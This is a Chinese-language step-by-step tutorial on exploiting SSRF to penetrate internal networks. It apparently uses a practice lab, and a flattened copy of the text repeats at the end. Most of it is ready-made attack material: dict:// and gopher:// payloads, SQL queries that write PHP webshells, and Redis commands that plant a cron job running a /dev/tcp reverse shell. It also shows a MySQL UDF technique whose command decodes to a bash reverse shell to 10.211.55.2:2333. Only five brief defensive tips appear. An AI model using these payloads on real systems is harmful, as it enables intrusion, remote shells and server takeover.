手把手带你用 SSRF 打穿内网
字数 1713 2025-08-10 00:24:01

SSRF 内网渗透实战指南

1. SSRF 基础与漏洞识别

1.1 SSRF 漏洞原理

SSRF (Server-Side Request Forgery) 服务端请求伪造,是一种攻击者能够从服务器端发起任意请求的安全漏洞。攻击者可以利用存在漏洞的服务器作为代理,扫描或攻击内网资源。

1.2 漏洞识别方法

  1. 测试外网URL请求:尝试请求 http://www.baidu.com/robots.txt
  2. 测试内网URL请求:尝试请求 http://127.0.0.1/
  3. 文件协议测试:尝试 file:///etc/passwd

2. 信息收集与内网探测

2.1 获取本地信息

  • 读取 /etc/passwd 获取用户信息
  • 读取 /etc/hosts 获取内网IP地址
  • 读取 /proc/net/arp/etc/network/interfaces 获取网络配置

2.2 内网端口扫描

使用 DICT 协议探测内网端口开放情况:

dict://172.72.23.21:80/
dict://172.72.23.21:3306/

3. 内网攻击技术详解

3.1 代码注入攻击

目标特征:存在 webshell (如 shell.php?cmd=whoami)

攻击方法

  1. 使用 SSRF 直接发起 GET 请求执行命令
  2. 注意空格需要编码为 %20 (浏览器) 或 %2520 (BurpSuite)

3.2 SQL 注入攻击

目标特征:存在联合查询注入漏洞

攻击方法

  1. 使用 SSRF 发起 SQL 注入请求
  2. 写入 webshell:
SELECT 1,2,3 INTO DUMPFILE '/var/www/html/shell.php'

3.3 命令执行攻击

目标特征:存在 POST 型命令执行漏洞

攻击方法

  1. 使用 gopher 协议构造 POST 请求
  2. 数据包需要:
    • 删除 Accept-Encoding
    • 进行两次 URL 编码

3.4 XXE 攻击

目标特征:存在 XML 外部实体注入

攻击方法

  1. 构造 XXE Payload
  2. 使用 gopher 协议发送 POST 请求

3.5 Tomcat CVE-2017-12615

目标特征:存在 Tomcat PUT 方法任意文件写入漏洞

攻击方法

  1. 准备 JSP webshell
  2. 使用 PUT 方法上传文件
  3. 访问上传的 webshell 执行命令

4. Redis 服务攻击

4.1 未授权访问 Redis

攻击步骤

  1. 清空 key:dict://172.72.23.27:6379/flushall
  2. 设置目录:dict://172.72.23.27:6379/config set dir /var/spool/cron/
  3. 设置文件名:dict://172.72.23.27:6379/config set dbfilename root
  4. 写入定时任务:
dict://172.72.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333 0>%261\n"
  1. 保存:dict://172.72.23.27:6379/save

4.2 有密码认证的 Redis

攻击步骤

  1. 通过 LFI 漏洞读取 /etc/redis.conf 获取密码
  2. 使用 gopher 协议构造认证请求
  3. 写入 webshell:
auth P@ssw0rd
flushall
config set dir /var/www/html
config set dbfilename shell.php
set x "\n<?php eval($_GET[1]);?>\n"
save

5. MySQL 服务攻击

5.1 未授权访问 MySQL

攻击步骤

  1. 使用 tcpdump 捕获 MySQL 协议数据包
  2. 将数据包转换为 gopher URL
  3. 通过 SSRF 发送请求

5.2 UDF 提权

  1. 查找插件目录:show variables like '%plugin%';
  2. 写入 UDF 动态链接库:
SELECT 0x7f454c460... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'
  1. 创建函数:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
  1. 执行系统命令:
select sys_eval('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuMi8yMzMzIDA+JjE=|base64 -d|bash -i');

6. 防御建议

  1. 对用户输入进行严格过滤和验证
  2. 禁用不需要的协议 (如 file://, gopher://, dict://)
  3. 设置网络访问白名单
  4. 及时更新和修补系统漏洞
  5. 为服务设置强密码认证

7. 工具与资源

  1. BurpSuite:用于抓包和构造请求
  2. Gopherus:生成 gopher 攻击 payload
  3. tcpdump/Wireshark:捕获和分析网络流量
  4. 靶场源码:https://github.com/sqlsec/ssrf-vuls

通过以上技术,可以全面利用 SSRF 漏洞对内网进行渗透测试,获取内网敏感信息和系统权限。

SSRF 内网渗透实战指南 1. SSRF 基础与漏洞识别 1.1 SSRF 漏洞原理 SSRF (Server-Side Request Forgery) 服务端请求伪造,是一种攻击者能够从服务器端发起任意请求的安全漏洞。攻击者可以利用存在漏洞的服务器作为代理,扫描或攻击内网资源。 1.2 漏洞识别方法 测试外网URL请求:尝试请求 http://www.baidu.com/robots.txt 测试内网URL请求:尝试请求 http://127.0.0.1/ 文件协议测试:尝试 file:///etc/passwd 2. 信息收集与内网探测 2.1 获取本地信息 读取 /etc/passwd 获取用户信息 读取 /etc/hosts 获取内网IP地址 读取 /proc/net/arp 或 /etc/network/interfaces 获取网络配置 2.2 内网端口扫描 使用 DICT 协议探测内网端口开放情况: 3. 内网攻击技术详解 3.1 代码注入攻击 目标特征 :存在 webshell (如 shell.php?cmd=whoami ) 攻击方法 : 使用 SSRF 直接发起 GET 请求执行命令 注意空格需要编码为 %20 (浏览器) 或 %2520 (BurpSuite) 3.2 SQL 注入攻击 目标特征 :存在联合查询注入漏洞 攻击方法 : 使用 SSRF 发起 SQL 注入请求 写入 webshell: 3.3 命令执行攻击 目标特征 :存在 POST 型命令执行漏洞 攻击方法 : 使用 gopher 协议构造 POST 请求 数据包需要: 删除 Accept-Encoding 头 进行两次 URL 编码 3.4 XXE 攻击 目标特征 :存在 XML 外部实体注入 攻击方法 : 构造 XXE Payload 使用 gopher 协议发送 POST 请求 3.5 Tomcat CVE-2017-12615 目标特征 :存在 Tomcat PUT 方法任意文件写入漏洞 攻击方法 : 准备 JSP webshell 使用 PUT 方法上传文件 访问上传的 webshell 执行命令 4. Redis 服务攻击 4.1 未授权访问 Redis 攻击步骤 : 清空 key: dict://172.72.23.27:6379/flushall 设置目录: dict://172.72.23.27:6379/config set dir /var/spool/cron/ 设置文件名: dict://172.72.23.27:6379/config set dbfilename root 写入定时任务: 保存: dict://172.72.23.27:6379/save 4.2 有密码认证的 Redis 攻击步骤 : 通过 LFI 漏洞读取 /etc/redis.conf 获取密码 使用 gopher 协议构造认证请求 写入 webshell: 5. MySQL 服务攻击 5.1 未授权访问 MySQL 攻击步骤 : 使用 tcpdump 捕获 MySQL 协议数据包 将数据包转换为 gopher URL 通过 SSRF 发送请求 5.2 UDF 提权 查找插件目录: show variables like '%plugin%'; 写入 UDF 动态链接库: 创建函数: 执行系统命令: 6. 防御建议 对用户输入进行严格过滤和验证 禁用不需要的协议 (如 file://, gopher://, dict://) 设置网络访问白名单 及时更新和修补系统漏洞 为服务设置强密码认证 7. 工具与资源 BurpSuite:用于抓包和构造请求 Gopherus:生成 gopher 攻击 payload tcpdump/Wireshark:捕获和分析网络流量 靶场源码:https://github.com/sqlsec/ssrf-vuls 通过以上技术,可以全面利用 SSRF 漏洞对内网进行渗透测试,获取内网敏感信息和系统权限。